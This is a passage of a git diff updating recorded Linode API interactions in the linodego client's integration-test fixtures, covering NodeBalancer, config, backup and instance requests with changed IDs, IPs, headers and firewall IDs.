stackscripts:read_write + volumes:read_write vpc:read_write + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/linode/instances/59542994/backups + method: GET + response: + body: '{"automatic": [{"id": 292760380, "region": "ap-west", "type": "auto", "status": + "successful", "available": true, "created": "2018-01-02T03:04:05", "updated": + "2018-01-02T03:04:05", "finished": "2018-01-02T03:04:05", "label": null, "configs": + ["My Debian 9 Disk Profile"], "disks": [{"label": "Debian 9 Disk", "size": 25088, + "filesystem": "ext4"}, {"label": "512 MB Swap Image", "size": 512, "filesystem": + "swap"}]}], "snapshot": {"current": null, "in_progress": null}}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Fri, 31 May 2024 18:47:16 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - linodes:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/linode/instances/59542994/volumes + method: GET + response: + body: '{"data": [], "page": 1, "pages": 1, "results": 0}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "49" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Fri, 31 May 2024 18:47:16 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - linodes:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"mine":true}' + url: https://api.linode.com/v4beta/linode/stackscripts + method: GET + response: + body: '{"data": [{"id": 1354525, "username": "youjungk01", "user_gravatar_id": + "89c3034428203ecf41c0c4795ac9f651", "label": "Demonstration_Public", "description": + "", "ordinal": 0, "logo_url": "", "images": ["linode/debian11"], "deployments_total": + 9, "deployments_active": 0, "is_public": true, "mine": true, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash", "user_defined_fields": + []}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "477" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Fri, 31 May 2024 18:47:17 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - stackscripts:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write + X-Ratelimit-Limit: + - "20" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" diff --git a/test/integration/fixtures/ExampleCreateNodeBalancer.yaml b/test/integration/fixtures/ExampleCreateNodeBalancer.yaml index 346fd4b31..9a4832e12 100644 --- a/test/integration/fixtures/ExampleCreateNodeBalancer.yaml +++ b/test/integration/fixtures/ExampleCreateNodeBalancer.yaml @@ -14,11 +14,10 @@ interactions: url: https://api.linode.com/v4beta/nodebalancers method: POST response: - body: '{"id": 357846, "label": "balancer357846", "region": "us-southeast", "hostname": - "139-144-255-40.ip.linodeusercontent.com", "ipv4": "139.144.255.40", "ipv6": - "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, - "total": null}}' + body: '{"id": 694136, "label": "balancer694136", "region": "us-southeast", "hostname": + "45-79-245-145.ip.linodeusercontent.com", "ipv4": "45.79.245.145", "ipv6": "1234::5678", + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": + 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" @@ -31,15 +30,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "344" + - "342" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:37 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -52,9 +55,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -70,14 +76,13 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/357846 + url: https://api.linode.com/v4beta/nodebalancers/694136 method: GET response: - body: '{"id": 357846, "label": "balancer357846", "region": "us-southeast", "hostname": - "139-144-255-40.ip.linodeusercontent.com", "ipv4": "139.144.255.40", "ipv6": - "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, - "total": null}}' + body: '{"id": 694136, "label": "balancer694136", "region": "us-southeast", "hostname": + "45-79-245-145.ip.linodeusercontent.com", "ipv4": "45.79.245.145", "ipv6": "1234::5678", + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": + 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" @@ -90,16 +95,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "344" + - "342" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:37 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -113,16 +121,19 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"label":"balancer357846_renamed","client_conn_throttle":20,"tags":[]}' + body: '{"label":"balancer694136_renamed","client_conn_throttle":20,"tags":[]}' form: {} headers: Accept: @@ -131,11 +142,11 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/357846 + url: https://api.linode.com/v4beta/nodebalancers/694136 method: PUT response: - body: '{"id": 357846, "label": "balancer357846_renamed", "region": "us-southeast", - "hostname": "139-144-255-40.ip.linodeusercontent.com", "ipv4": "139.144.255.40", + body: '{"id": 694136, "label": "balancer694136_renamed", "region": "us-southeast", + "hostname": "45-79-245-145.ip.linodeusercontent.com", "ipv4": "45.79.245.145", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' @@ -151,15 +162,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "352" + - "350" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:38 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -172,9 +187,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -190,7 +208,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/357846 + url: https://api.linode.com/v4beta/nodebalancers/694136 method: DELETE response: body: '{}' @@ -206,15 +224,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:38 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -227,9 +249,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/ExampleCreateNodeBalancerConfig.yaml b/test/integration/fixtures/ExampleCreateNodeBalancerConfig.yaml index 9336754d8..07a9010dd 100644 --- a/test/integration/fixtures/ExampleCreateNodeBalancerConfig.yaml +++ b/test/integration/fixtures/ExampleCreateNodeBalancerConfig.yaml @@ -2,7 +2,7 @@ version: 1 interactions: - request: - body: '{"region":"us-southeast","client_conn_throttle":20,"tags":null}' + body: '{"region":"us-southeast","client_conn_throttle":20,"tags":null,"firewall_id":501321}' form: {} headers: Accept: @@ -14,8 +14,8 @@ interactions: url: https://api.linode.com/v4beta/nodebalancers method: POST response: - body: '{"id": 357847, "label": "balancer357847", "region": "us-southeast", "hostname": - "45-79-245-144.ip.linodeusercontent.com", "ipv4": "45.79.245.144", "ipv6": "1234::5678", + body: '{"id": 694137, "label": "balancer694137", "region": "us-southeast", "hostname": + "45-79-244-189.ip.linodeusercontent.com", "ipv4": "45.79.244.189", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: @@ -30,15 +30,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "342" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -51,9 +55,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -69,14 +76,14 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/357847/configs + url: https://api.linode.com/v4beta/nodebalancers/694137/configs method: POST response: - body: '{"id": 550599, "port": 80, "protocol": "http", "algorithm": "roundrobin", + body: '{"id": 1134667, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 30, "check_timeout": 5, "check_attempts": 5, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": - 357847, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": + 694137, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: @@ -90,15 +97,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "436" + - "437" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -111,9 +122,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -129,14 +143,14 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/357847/configs/550599 + url: https://api.linode.com/v4beta/nodebalancers/694137/configs/1134667 method: PUT response: - body: '{"id": 550599, "port": 8080, "protocol": "http", "algorithm": "roundrobin", + body: '{"id": 1134667, "port": 8080, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 30, "check_timeout": 5, "check_attempts": 5, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": - 357847, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": + 694137, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: @@ -150,15 +164,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "438" + - "439" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -171,9 +189,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -189,14 +210,14 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/357847/configs + url: https://api.linode.com/v4beta/nodebalancers/694137/configs method: GET response: - body: '{"data": [{"id": 550599, "port": 8080, "protocol": "http", "algorithm": + body: '{"data": [{"id": 1134667, "port": 8080, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 30, "check_timeout": 5, "check_attempts": 5, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": - 357847, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": + 694137, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}], "page": 1, "pages": 1, "results": 1}' headers: @@ -211,16 +232,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "487" + - "488" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -234,9 +258,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -252,14 +279,14 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/357847/configs/550599 + url: https://api.linode.com/v4beta/nodebalancers/694137/configs/1134667 method: GET response: - body: '{"id": 550599, "port": 8080, "protocol": "http", "algorithm": "roundrobin", + body: '{"id": 1134667, "port": 8080, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 30, "check_timeout": 5, "check_attempts": 5, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": - 357847, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": + 694137, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: @@ -273,16 +300,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "438" + - "439" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -296,9 +326,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -314,7 +347,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/357847/configs/550599 + url: https://api.linode.com/v4beta/nodebalancers/694137/configs/1134667 method: DELETE response: body: '{}' @@ -330,15 +363,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -351,9 +388,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -369,7 +409,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/357847 + url: https://api.linode.com/v4beta/nodebalancers/694137 method: DELETE response: body: '{}' @@ -385,15 +425,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:40 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -406,9 +450,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/ExampleCreateNodeBalancerNode.yaml b/test/integration/fixtures/ExampleCreateNodeBalancerNode.yaml index e869b4555..8ebe51f3d 100644 --- a/test/integration/fixtures/ExampleCreateNodeBalancerNode.yaml +++ b/test/integration/fixtures/ExampleCreateNodeBalancerNode.yaml @@ -2,7 +2,7 @@ version: 1 interactions: - request: - body: '{"region":"us-southeast","client_conn_throttle":20,"tags":null}' + body: '{"region":"us-southeast","client_conn_throttle":20,"tags":null,"firewall_id":501321}' form: {} headers: Accept: @@ -14,8 +14,8 @@ interactions: url: https://api.linode.com/v4beta/nodebalancers method: POST response: - body: '{"id": 357848, "label": "balancer357848", "region": "us-southeast", "hostname": - "66-228-63-200.ip.linodeusercontent.com", "ipv4": "66.228.63.200", "ipv6": "1234::5678", + body: '{"id": 694138, "label": "balancer694138", "region": "us-southeast", "hostname": + "45-79-245-36.ip.linodeusercontent.com", "ipv4": "45.79.245.36", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: @@ -30,15 +30,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "342" + - "340" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:40 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -51,9 +55,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -69,14 +76,14 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/357848/configs + url: https://api.linode.com/v4beta/nodebalancers/694138/configs method: POST response: - body: '{"id": 550600, "port": 80, "protocol": "http", "algorithm": "roundrobin", + body: '{"id": 1134668, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 31, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": - 357848, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": + 694138, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: @@ -90,15 +97,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "437" + - "438" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:40 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -111,16 +122,19 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"region":"us-southeast","type":"g6-nanode-1","label":"nodebalancer-example-instance","root_pass":"R34lBAdP455!!!","image":"linode/debian9","booted":false}' + body: '{"region":"us-southeast","type":"g6-nanode-1","label":"nodebalancer-example-instance","root_pass":"WfnG{3;b2h?HBfyr,9IF8a[2-\u003cU92(L3^EG1m^K505EY2h''1;:eQfgG/k`L30m=o","image":"linode/debian9","firewall_id":501321,"booted":false}' form: {} headers: Accept: @@ -132,15 +146,16 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 46624769, "label": "nodebalancer-example-instance", "group": "", + body: '{"id": 59541321, "label": "nodebalancer-example-instance", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["139.144.57.74"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["45.79.253.187"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "us-southeast", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, - "backups": {"enabled": false, "available": false, "schedule": {"day": null, - "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": - true, "tags": [], "host_uuid": "fb926254fc1ebd19daf0c3cf5b05cf55838da099"}' + "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": + null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, + "tags": [], "host_uuid": "7055b8bfa2c784e5bd2213e1b482e4ba18ffe5eb", "has_user_data": + false, "placement_group": null}' headers: Access-Control-Allow-Credentials: - "true" @@ -153,15 +168,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "727" + - "775" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:41 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -174,7 +193,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: @@ -192,12 +214,12 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/46624769/ips + url: https://api.linode.com/v4beta/linode/instances/59541321/ips method: POST response: - body: 